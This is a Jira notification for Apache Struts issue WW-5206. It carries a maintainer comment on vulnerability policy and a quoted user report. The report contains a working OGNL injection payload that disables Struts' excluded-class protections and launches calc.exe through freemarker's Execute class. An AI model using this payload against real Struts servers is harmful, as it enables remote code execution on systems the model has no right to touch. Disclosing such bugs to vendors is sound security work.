[
https://issues.apache.org/jira/browse/WW-5206?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17576354#comment-17576354
]
Lukasz Lenart commented on WW-5206:
-----------------------------------
There is also a disclaimer:
??Struts won't accept double evaluation issues caused by not validated end-user
input (owing to developer error) anymore as vulnerability. We accepted this one
as vulnerability because it's about an error in our previously accepted
vulnerability. We welcome and appreciate reports in this regard to minimize
developer error effect albeit!??
> OGNL execute arbitrary code
> ---------------------------
>
> Key: WW-5206
> URL: https://issues.apache.org/jira/browse/WW-5206
> Project: Struts 2
> Issue Type: Bug
> Components: Core
> Affects Versions: 2.5.30
> Reporter: Benjamin Lepeigneul
> Priority: Trivial
>
> Hi,
>
> I can run arbitrary code with version of struts 2 - 2.5.30.
>
> +*JSP code :*+
> <s:textarea
> label="%\{getText('information.message.erreur')}"
> id="messageErreurTexte"
> name="formInformation.message"
> cssClass="input-messageErreur"
> value="${pageInformation.message}"
> />
>
> +*If I write this text in my form input textarea :*+
> %\{(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0)
> +
> (#request.map.setBean(#request.get('struts.valueStack')) ==
> true).toString().substring(0,0) +
> (#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0)
> +
> (#request.map2.setBean(#request.get('map').get('context')) ==
> true).toString().substring(0,0) +
> (#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0)
> +
> (#request.map3.setBean(#request.get('map2').get('memberAccess')) ==
> true).toString().substring(0,0) +
> (#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet())
> == true).toString().substring(0,0) +
> (#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet())
> == true).toString().substring(0,0) +
> (#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec(\{'calc.exe'}))}
> Whenever the page is displayed, the binary calc.exe is executed.
>
> My generic struts params :
> * struts.ognl.allowStaticMethodAccess = true
> * struts.ognl.expressionMaxLength not set
> * struts.devMode = false
> * struts.ui.theme = simple
>
> Is it normal ?
>
> Thanks.
--
This message was sent by Atlassian Jira
(v8.20.10#820010)